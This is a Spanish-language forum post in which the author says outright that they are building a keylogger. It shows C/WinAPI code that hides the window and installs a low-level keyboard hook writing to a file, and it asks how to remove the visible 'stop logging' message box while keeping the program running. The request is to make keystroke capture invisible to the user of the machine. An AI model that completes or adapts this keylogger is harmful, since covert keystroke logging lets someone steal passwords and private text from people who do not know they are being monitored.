Ok, en realidad lo que estoy haciendo es un keylogger...y este es el codigo:
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
// Main();
ocultar();
file();
hora();
HHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL,keyboardHookProc,hInstance,0);
MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK);
fclose(fichero);
return 0;
}
Bien, funciona todo correctamente, pero me saca por pantalla el MessageBox(). Y lo que quiero es quitarlo. Si lo quito sin mas, el Main finaliza, ya que el MessageBox permite que se quede en espera el keylogger hasta que se presione el boton de OK.
Y por eso quiero el wait() para hacer la espera....y es que con sleep() se da el problema de la espera activa y chupa muchos recursos de la CPU
¿Alguna idea de como quitar ese MessageBox y de que no finalice la ejecucion?
¡Gracias!